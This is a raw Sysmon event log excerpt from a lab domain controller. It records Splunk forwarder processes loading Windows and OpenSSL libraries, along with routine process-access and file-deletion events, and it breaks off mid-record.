734700x800000000000000051741Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.744{7BD73061-72C8-613B-660B-00000000F001}6384C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000051740Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.744{7BD73061-72C8-613B-660B-00000000F001}6384C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000051739Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.744{7BD73061-72C8-613B-660B-00000000F001}6384C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000051738Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.744{7BD73061-72C8-613B-660B-00000000F001}6384C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000051737Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.744{7BD73061-72C8-613B-660B-00000000F001}6384C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000051736Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.744{7BD73061-72C8-613B-660B-00000000F001}6384C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000051735Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.744{7BD73061-72C8-613B-660B-00000000F001}6384C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000051734Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.744{7BD73061-72C8-613B-660B-00000000F001}6384C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000051733Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.744{7BD73061-72C8-613B-660B-00000000F001}6384C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000051732Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.744{7BD73061-72C8-613B-660B-00000000F001}6384C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000051731Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.744{7BD73061-72C8-613B-660B-00000000F001}6384C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000051730Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.744{7BD73061-72C8-613B-660B-00000000F001}6384C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000051729Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.744{7BD73061-72C8-613B-660B-00000000F001}6384C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000051728Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.744{7BD73061-72C8-613B-660B-00000000F001}6384C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000051727Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.744{7BD73061-72C8-613B-660B-00000000F001}6384C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\secur32.dll10.0.14393.2273 (rs1_release_1.180427-1811)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsecur32.dllMD5=BCF1B2F76F8A3A3E9E8F4D4322954651,SHA256=46B327CD50E728CBC22BD80F39DCEF2789AB780C77B6D285EEB90126B06EEEB5,IMPHASH=0D8FF9DE2DA5C07D680347B1A098E759trueMicrosoft WindowsValid 734700x800000000000000051726Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.744{7BD73061-72C8-613B-660B-00000000F001}6384C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000051725Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.744{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-72C8-613B-660B-00000000F001}6384C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000051724Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.744{7BD73061-72C8-613B-660B-00000000F001}6384C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000051723Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.744{7BD73061-72C8-613B-660B-00000000F001}6384C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000051722Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.744{7BD73061-72C8-613B-660B-00000000F001}6384C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 10341000x800000000000000051721Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.744{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051720Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.744{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051719Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.744{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051718Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.744{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-72C8-613B-660B-00000000F001}6384C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000051717Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.744{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051716Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.744{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-72C8-613B-660B-00000000F001}6384C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000051715Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.744{7BD73061-72C8-613B-660B-00000000F001}6384C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000051714Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.560{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C89B495E09EE2AD50591E71CD2AE84E0,SHA256=30F57D4E65AA4BAF4C843626E9C627C597159DCBDAE019C5B467D331FDE78BF1,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051713Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.524{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=06D26493659666AE88B60EFBF082EF16,SHA256=002048D1C179D183784E4102D2587352CE9B006CF6C2811248098C18C3D6B4B7,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051712Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.523{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=9C6133BC5DEF0FFEEA4F9D405077955F,SHA256=0A2B27B0A0DA649B9E44C425DFF4C4A214980266D938A774A525EE053E50C5BE,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000051711Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.260{7BD73061-72C8-613B-650B-00000000F001}4140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 10341000x800000000000000051710Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.260{7BD73061-72C8-613B-650B-00000000F001}41406504C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000051709Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.260{7BD73061-72C8-613B-650B-00000000F001}4140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000051708Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.260{7BD73061-72C8-613B-650B-00000000F001}4140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 734700x800000000000000051707Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.091{7BD73061-72C8-613B-650B-00000000F001}4140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000051706Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.091{7BD73061-72C8-613B-650B-00000000F001}4140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000051705Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.091{7BD73061-72C8-613B-650B-00000000F001}4140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000051704Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.091{7BD73061-72C8-613B-650B-00000000F001}4140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000051703Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.091{7BD73061-72C8-613B-650B-00000000F001}4140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000051702Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.091{7BD73061-72C8-613B-650B-00000000F001}4140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000051701Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.091{7BD73061-72C8-613B-650B-00000000F001}4140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000051700Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.091{7BD73061-72C8-613B-650B-00000000F001}4140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® 